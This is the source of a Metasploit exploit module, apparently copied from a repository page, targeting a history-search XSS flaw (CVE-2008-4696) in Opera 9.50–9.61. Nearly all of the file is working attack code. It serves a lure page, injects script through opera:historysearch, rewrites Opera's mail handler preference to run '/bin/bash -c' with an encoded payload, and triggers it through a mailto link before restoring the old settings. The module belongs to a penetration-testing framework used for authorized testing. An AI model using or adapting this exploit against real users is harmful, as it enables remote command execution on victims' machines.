Path: blob/master/modules/exploits/multi/browser/opera_historysearch.rb
32951 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# include Msf::Exploit::Remote::BrowserAutopwn11# autopwn_info({12# :ua_name => HttpClients::OPERA,13# :javascript => true,14# :rank => ExcellentRanking, # reliable command execution15# :vuln_test => %Q{16# v = parseFloat(opera.version());17# if (9.5 < v && 9.62 > v) {18# is_vuln = true;19# }20# },21# })2223def initialize(info = {})24super(25update_info(26info,27'Name' => 'Opera historysearch XSS',28'Description' => %q{29Certain constructs are not escaped correctly by Opera's History30Search results. These can be used to inject scripts into the31page, which can then be used to modify configuration settings32and execute arbitrary commands. Affects Opera versions between339.50 and 9.61.34},35'License' => BSD_LICENSE,36'Author' => [37'Roberto Suggi', # Discovered the vulnerability38'Aviv Raff <avivra[at]gmail.com>', # showed it to be exploitable for code exec39'egypt', # msf module40],41'References' => [42['CVE', '2008-4696'],43['OSVDB', '49472'],44['BID', '31869'],45['URL', 'http://www.opera.com/support/kb/view/903/'],46],47'Payload' => {48'EXITFUNC' => 'process',49'Space' => 4000,50'DisableNops' => true,51'BadChars' => "\x09\x0a\x0d\x20",52'Compat' =>53{54'PayloadType' => 'cmd',55'RequiredCmd' => 'generic perl ruby telnet'56}57},58'Targets' => [59# [ 'Automatic', { } ],60# [ 'Opera < 9.61 Windows',61# {62# 'Platform' => 'win',63# 'Arch' => ARCH_X86,64# }65# ],66[67'Opera < 9.61 Unix Cmd',68{69'Platform' => 'unix',70'Arch' => ARCH_CMD71}72],73],74'DisclosureDate' => '2008-10-23', # Date of full-disclosure post showing code exec75'DefaultTarget' => 0,76'Notes' => {77'Reliability' => UNKNOWN_RELIABILITY,78'Stability' => UNKNOWN_STABILITY,79'SideEffects' => UNKNOWN_SIDE_EFFECTS80}81)82)83end8485def on_request_uri(cli, request)86headers = {}87html_hdr = %(88<html>89<head>90<title>Loading</title>91)92html_ftr = %(93</head>94<body >95<h1>Loading</h1>96</body></html>97)9899case request.uri100when /[?]jspayload/101p = regenerate_payload(cli)102if (p.nil?)103send_not_found(cli)104return105end106# We're going to run this through unescape(), so make sure107# everything is encoded108penc = Rex::Text.to_hex(p.encoded, '%')109content =110%{111var s = document.createElement("iframe");112113s.src="opera:config";114s.id="config_window";115document.body.appendChild(s);116config_window.eval(117"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +118"old_app = opera.getPreference('Mail','External Application');" +119"old_handler = opera.getPreference('Mail','Handler');" +120"opera.setPreference('Mail','External Application',cmd);" +121"opera.setPreference('Mail','Handler','2');" +122"app_link = document.createElement('a');" +123"app_link.setAttribute('href', 'mailto:[email protected]');" +124"app_link.click();" +125"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +126"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +127"");128setTimeout(function () {window.location='about:blank'},1);129}130131when /[?]history/132js = %^133window.onload = function() {134location.href = "opera:historysearch?q=*";135}136^137content = %(138#{html_hdr}139<script><!--140#{js}141//--></script>142#{html_ftr}143)144when get_resource145print_status("Sending #{name} for request #{request.uri}")146147js = %^148if (window.opera) {149var wnd = window;150while (wnd.parent != wnd) {151wnd = wnd.parent;152}153url = location.href;154wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";155}156^157content = %(158#{html_hdr}159<script><!--160#{js}161//--></script>162#{html_ftr}163)164else165print_status("Sending 404 for request #{request.uri}")166send_not_found(cli)167return168end169content.gsub!(/^ {8}/, '')170content.gsub!(/\t/, ' ')171172send_response_html(cli, content, headers)173handler(cli)174end175end176177178